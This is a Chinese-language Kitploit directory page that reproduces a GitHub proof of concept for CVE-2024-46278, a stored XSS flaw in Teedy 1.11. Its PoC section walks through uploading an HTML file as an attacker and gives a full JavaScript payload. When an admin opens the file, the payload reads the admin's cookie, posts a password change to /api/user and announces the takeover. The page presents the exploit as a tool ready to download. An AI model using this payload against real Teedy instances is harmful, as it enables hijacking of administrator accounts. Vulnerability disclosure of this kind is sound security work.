Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-46278-teedy_1.11_account-takeover — 【Teedy 1.11】通过XSS实现账户接管 | Kitploit
工具/GitHubGitHub/ayato-shitomi/cve-2024-46278-teedy_1.11_account-takeover
钓鱼工具漏洞分析漏洞利用Web应用程序漏洞利用渗透测试社会工程学
GitHubayato-shitomi/cve-2024-46278-teedy_1.11_account-takeover

CVE-2024-46278-teedy_1.11_account-takeover

【Teedy 1.11】通过XSS实现账户接管

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
151年前尚未审核

【CVE-2024-46278】teedy_1.11 账户接管

【Teedy 1.11】通过XSS实现账户接管

详情

存在一个漏洞,下载文件时会导致XSS。该XSS漏洞可能允许Teedy管理员通过几次点击即可窃取账户。

此漏洞标记为CVE-2024-46278:https://www.cve.org/CVERecord?id=CVE-2024-46278

PoC

  • 以攻击者账户登录。
  • 将此文件作为 html 类型上传。根据需要更改请求中的“Origin”、“Referer”和参数。
root@kitploit:~
<script>
const currentCookie = document.cookie;

const requestOptions = {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    'Accept': 'application/json, text/plain, */*',
    'Cookie': currentCookie,
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
    'sec-ch-ua-platform': '"Linux"',
    'Origin': 'http://localhost:8080',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty',
    'Referer': 'http://localhost:8080/',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9'
  },
  body: 'password=superSecure2&passwordconfirm=superSecure2'
};

fetch('http://localhost:8080/api/user', requestOptions)
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
        document.write('<h1>Your account was taken over by the attacker LOL</h1>');
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('There was a problem with your fetch operation:', error));
</script>
  • 使用另一个账户登录,例如 admin。
  • 点击攻击者上传的文件,选择“Download this file”。

演示

https://www.youtube.com/watch?v=udQgVogsmhA

下载工具